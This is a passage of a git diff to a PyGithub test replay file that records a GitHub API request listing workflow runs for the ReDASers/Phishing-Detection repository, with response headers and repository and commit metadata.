m/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} diff --git a/tests/ReplayData/PullRequest1682.test_string_parameters.txt b/tests/ReplayData/PullRequest1682.test_string_parameters.txt index ea64b830e9..2a4c80952a 100644 --- a/tests/ReplayData/PullRequest1682.test_string_parameters.txt +++ b/tests/ReplayData/PullRequest1682.test_string_parameters.txt @@ -1,44 +1,43 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs?actor=xzhou29 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a84f98b3e45685a627394e6d4fbfd8b444bd5d44c23e5ddcf0677fba2c8de447"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4908'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '92'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14E:3C28:8EC09:F51B8:5F987C9E')] -{"total_count":23,"workflow_runs":[{"id":226142695,"node_id":"MDExOldvcmtmbG93UnVuMjI2MTQyNjk1","head_branch":"master","head_sha":"a46c296b2c5703c38343133c6006695ec6675de3","run_number":752,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1103983611,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTAzOTgzNjEx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/226142695","pull_requests":[],"created_at":"2020-08-26T23:15:50Z","updated_at":"2020-08-26T23:26:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1103983611","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/226142695/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a46c296b2c5703c38343133c6006695ec6675de3","tree_id":"240605e0c76f5d41da26d173eb5f1ff1ef6bfd4f","message":"Removed Dependency on Chrome (#189)\n\n* Removed selenium dependency\r\n\r\n* Added test\r\n\r\n* Mocked whois test\r\n\r\n* Updated feature extraction code\r\n\r\n* Removed duplicate feature call\r\n\r\n* Removed chromedriver\r\n\r\n* Updated the changelog\r\n\r\n* Formatted file\r\n\r\n* Removed HTTPResponse namedtuple\r\n\r\n* Removed extra import\r\n\r\n* Added documentation\r\n\r\n* Cleaned up test\r\n\r\n* Added basic docstring for input.url_input\r\n\r\n* Incremented version number","timestamp":"2020-08-26T20:41:07Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":225974587,"node_id":"MDExOldvcmtmbG93UnVuMjI1OTc0NTg3","head_branch":"master","head_sha":"a46c296b2c5703c38343133c6006695ec6675de3","run_number":747,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1103445148,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTAzNDQ1MTQ4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/225974587","pull_requests":[],"created_at":"2020-08-26T20:41:10Z","updated_at":"2020-08-26T22:09:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1103445148","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/225974587/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a46c296b2c5703c38343133c6006695ec6675de3","tree_id":"240605e0c76f5d41da26d173eb5f1ff1ef6bfd4f","message":"Removed Dependency on Chrome (#189)\n\n* Removed selenium dependency\r\n\r\n* Added test\r\n\r\n* Mocked whois test\r\n\r\n* Updated feature extraction code\r\n\r\n* Removed duplicate feature call\r\n\r\n* Removed chromedriver\r\n\r\n* Updated the changelog\r\n\r\n* Formatted file\r\n\r\n* Removed HTTPResponse namedtuple\r\n\r\n* Removed extra import\r\n\r\n* Added documentation\r\n\r\n* Cleaned up test\r\n\r\n* Added basic docstring for input.url_input\r\n\r\n* Incremented version number","timestamp":"2020-08-26T20:41:07Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":148273487,"node_id":"MDExOldvcmtmbG93UnVuMTQ4MjczNDg3","head_branch":"master","head_sha":"154615bd9077e425eb54465348e66aac84e302e8","run_number":353,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":843921105,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU4NDM5MjExMDU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/148273487","pull_requests":[],"created_at":"2020-06-26T04:48:49Z","updated_at":"2020-06-26T23:31:21Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/843921105","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/148273487/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"154615bd9077e425eb54465348e66aac84e302e8","tree_id":"5aa310cb0ae11aec86cc2a60679c9164531bde27","message":"Merge pull request #104 from ReDASers/tfidf_vectorizer_fix\n\nFixed tfidf_vectorizer not defined if feature extraction 